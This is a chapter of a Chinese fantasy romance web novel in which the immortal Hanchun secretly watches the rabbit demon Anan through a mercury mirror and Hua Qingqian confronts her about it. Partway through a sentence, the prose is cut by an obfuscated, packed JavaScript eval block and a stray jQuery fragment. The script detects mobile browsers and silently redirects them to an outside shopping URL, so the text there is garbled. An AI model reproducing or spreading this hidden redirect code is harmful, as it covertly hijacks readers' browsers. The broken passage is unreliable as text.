55. 第55章

作品:《死遁后她身陷修罗场

    遵从花清浅的嘱咐,景枫默默等着,不知具体过去多久,只见外面天色由暗转明,就在他实在忍不住、走到门前想要问问是否出了什么事的时候,那扇朱褐色的房门终于打开。


    花清浅惯常芙蓉似的明艳小脸浮上一丝倦色,她撑着门,让他进去:“放心,小兔妖没事了。”


    景枫匆匆道一声谢,大踏步走进去,见到榻上只剩了安安一个人,厉胤的身影已经消失不见。


    她转头看向他,朝他绽开一个笑。


    “肚子好饿,想吃桂花糕。”她说,“清浅姑娘说,我还不可以下床走动,你给我点两个送上来,好不好?”


    -


    花清浅下手很轻,厉胤的妖丹只是略微受损,抹去记忆之后,在梦里无知无觉化作了原形。她在酒楼僻静的后院叫来蔗县土地公,把蜜獾交给他,让他去郊外蜜獾一族聚居之地放生。


    忙了一夜,她也腹中空空,当下略作梳洗,与吕浮白去酒楼一楼吃了顿简单的早点。


    “寒春回来了。”她喝着豆浆,听吕浮白低声说道:“就在隔壁客栈。”


    花清浅小吃一惊。


    之前见襄怜丹草是由一口仙气托着回来,而不是寒春亲自送的,她便心知,寒春八成被困在了阵中。


    北地群星的阵法环环相扣,循环往复,专困执念之人,以寒春对小兔妖的妄心,还不得被困个几百年?


    “仙子怎么这么快就出来了。”花清浅生出些好奇,“你且在这里等等,我与她好歹是旧识,过去慰问一下。”


    吕浮白却拂袖随她起身,执意道:“一起。”


    这都是小事,花清浅任由他跟在后面,与她一起拐进隔壁客栈。


    隔壁客栈装潢比安安所在酒楼更显雅致,也更显清素,寒春就在客栈包厢内,见二人寻上门来,也不太惊讶,只惨淡地笑笑,请他们上座。


    “清浅,好久不见。不知这位上神是……?”


    “这是孔雀大明王的世子,吕浮白。”


    “孔雀世子居然醒了?”寒春有些诧异,“看来鸟族局势风云变幻,又该变天了。”


    “先不说这些,你是如何挣脱星阵的?”花清浅有些累,也懒得多做寒暄,干脆直入主题。


    “我是剑修。”寒春朝吕浮白行过礼,淡淡道,“一剑劈开就是。”


    这般不要命的打法,难怪她周身弥漫的灵气不太稳定,原是剑招耗费仙力过大,反噬了仙体的缘故。


    花清浅不懂仙人生理,却也知道反噬之痛,下意识皱起眉。见状,寒春给她倒了杯茶,说道:“此番……原是我咎由自取,让清浅与上神见笑了。”


    她这一起身,花清浅才发现她身后有个水银铸成的小镜,镜中光华流转,赫然倒映出那厢的安安,她正与景枫说着什么,脑袋顶上长耳的白色绒毛都纤毫毕现。


    寒春周围的灵气波动得像是快要死掉,都这样了,她居然还不速速调理仙体,而是第一时间耗费仙力查看隔壁小兔妖的情况!


    对于这位昔日的一面之交,花清浅简直恨铁不成钢,又惊又怒道:


    “寒春仙子,我看你是个清醒剑修,怎么如今糊涂到这个地步!


    惊鸿木一事你已悔过,倒也罢了,可是如今安安明摆着要与你一刀两断,你怎么还执迷不悟?


    你看清楚,她不会原谅你的,你再这般阴魂不散凑上去,只会惹她厌烦!”


    寒春扯出一个比哭还难看的笑:“我没想凑上去。”


    “那你花这么大功夫偷窥人家——”


    “我只是想看看她。”寒春低垂下头,静静道:


    “我知道她烦我,不愿意见我……可我就是,想多看她一眼而已。”


    -


    即使是神仙,成年累月去爱一个人时,无论真假,都会变成一种惯性。


    不知是从什么时候起,或许是寒春第一次去镇上买酒,被小兔妖抓住手臂,软软地要她少喝琼浆,注意身体的时候;


    亦或是那次镇上醉汉调戏姑娘,寒春看不过眼打了他一顿,却被那醉汉父母污蔑不知检点,对醉汉投怀送抱,小镇邻居不明真相,也对她颇有微词的时候。


    小兔妖身在学堂,因她被同窗们指指点点,可下学后,她没有埋怨寒春连累她,而是凑在她耳边说:“姐姐不要为无关的人生气。我永远站在姐姐这边!”


    小安说,要永远站在她这边。


    寒春仙子浸泡在爱里太久,一颗心俨然也变成了凡心,七情六欲蓬勃重生,都寄托在小安身上。


    “厉胤非是良配,我很早就开始后悔引狼入室了,可是怕他跟小安胡说些什么,又不敢强插手。”说起那只蜜獾,她嫌弃地皱皱鼻子:


    “后来我发现,小安当真喜欢上了厉胤,气恼一番,便也罢了——我想,怎么都好,只要她留在我身边。”


    可是她给出的爱是虚假的,小安一旦戳破那层温和的表皮,看清她真实的丑陋面孔,便要忙不迭地逃离。


    小安被景枫救起,寒春跟在两人身后,景枫一介凡人,难免有照顾小兔妖不周到的地方,她便化出水银镜,在暗中护持小安,决不出面叫她为难。


    景枫把小安背回了他家,景家在柳枝江畔村尾,家里有个挺大的园子,一半用木篱笆围起种菜,另一半是郁郁葱葱的花草林木,其间还有几只小犬出没,看起来只有他一人居住。


    在半路上时,寒春就看出安安已经醒了,但或许是在寒春与厉胤这里吃足了教训,安安很有戒心,一直没睁眼,景枫将她安置在床上,她便故意放浅了呼吸假寐。


    请来隔壁的大娘为安安更衣,景枫关上门,生火做起了鸡汤。


    他动作不紧不慢,先将今日刚买来的半只鸡焯水,下锅大火烧开,又压了些柴用小火煨煮,汤水里逐渐泛起清亮的油花。将油花舀去,继续加入散寒的桂枝和干姜,在这时放盐,将鸡肉骨髓里榨出的鲜香牢牢锁住。


    一套工序行云流水,鸡汤清淡的香气飘进屋里,安安再也装不下去睡,状似迷蒙地张开眼。


    “景娃子,这女娃娃醒啦!”大娘给安安盖上薄被,推开门朝景枫嚷道,“我赶着回家做饭,就先走了,你小心照看着点!”


    景枫给她盛了一大碗汤,装在篮子里,请她拎回家去,大娘也没推辞,高高兴兴拎着篮子走了。


    他端着剩下的鸡汤进到屋里,见安安一双眼睛滴溜溜地盯着他手里的碗,不由哑然失笑,说道:“我这就给你盛汤。”


    “谢谢。”安安给自己掖了掖被角,乖巧地道:“多谢你救了我,我叫安安,你叫什么名字?”


    “我名景枫,风景的景,枫叶的枫。”


    他将一小碗汤端到安安


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701288|137881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面前,安安看了一眼,可怜巴巴道:“我饿了几天了,想吃点肉,哪怕啃骨头都行。”她早已瞧上了锅底的那根鸡腿,这人却怎么只给她汤喝!


    “你刚醒来,正要喝些汤水,贸然进食恐于脾胃不佳。”景枫耐心说道。


    安安想一想,也有道理,于是埋头喝汤,这一放松,脑袋顶两只长长的兔子耳朵却冒了出来……


    草药封印失效,安安的妖族身份彻底暴露。


    从前在小镇,街坊邻居对妖族都是既害怕又排斥,故而安安发现自己是兔妖时,也有过好一阵的挣扎。


    如今景枫迎着她忐忑又心虚的目光,没有骂她是怪物、要她滚出门去,而只有一句话说。


    “你的耳朵——”他缓缓眨了眨眼,脸上腾地红了,“好漂亮。”


    -


    水银镜前,寒春看着景枫毫不费力便接纳了一个妖族,还想尽办法帮安安保守秘密,为她打了白色绒毛点缀的柳枝木簪,又在院中架了秋千哄她开心。


    他是个手艺人,做的东西精巧生花,又会煮饭弄茶、种菜缝衣,正与安安柔和绵密的脾性相投。


    寒春眼睁睁看着小安以惊人的速度与景枫交好,心里怅然若失,五味杂陈,自是不必多叙。


    “那凡人命格非同寻常,厉胤却依旧怒气上头,想取他性命,将小安强抢回来,都是我拦下了他。”她重新坐下,看向水银镜中的人影,仿佛失去所有力气般说道:


    “因为我知道,小安是真心不想再见到我们任何一个人,她宁可召唤邪魔,就是在告诉我,与我死生不复相见。”


    这事着实无解,花清浅觉得她挺惨,也只能劝她道:“想开点吧,何必这样自苦。”


    寒春并没有正面答她的劝告,她抿了口绿针翻卷的雾里知春,叹息声消散在清淡氤氲的茶香里:


    “当初我贪念迷心,摒弃真情,合该有今日。有时候我会想,是不是如今我越痛苦,小安就能越快慰……”


    “胡说!”花清浅不假思索地摇头,“安安不是那样的妖。”


    “那你呢?”


    花清浅一时没反应过来:“这跟我有什么关系?”


    “这面水银镜,并非是我自个想出来的法子。”寒春意有所指道:


    “在天上时,我曾听闻凤凰神君以神力倒灌水月镜,试图逆转时空,以救亡妻,便依样画葫芦,想到用水银镜探视小安情况。”


    听到“逆转时空”,花清浅瞬间想到她从前做的那些梦。


    神明也没有篡改时空之力,可他的念力那样汹涌,居然在冥冥之中与她心神相连,影响到了她的梦境。


    她仍然不觉得傅玄爱她,可到这时候,也不得不承认他很看重她:六界生灵何其浩瀚,该是多深重的执念,才会在万千人海里准确寻到她一人的梦?


    有些不自在,她长睫微颤,下意识看向吕浮白,却发现孔雀世子也很有些不自在似的垂下了头。


    ——是了,他一向奉傅玄为老祖宗,如今却喜欢上了祖宗亡妻,合该他不自在。


    这么一想,她心里生出几分好笑,抿了抿茶以作掩饰。


    寒春还在继续说:“清浅,这些年来,神君的愧疚之心只怕比我如今深厚百倍。”


    “我说这些,不是要你立刻原谅他,只是想让你知道,他并不是对你无动于衷。”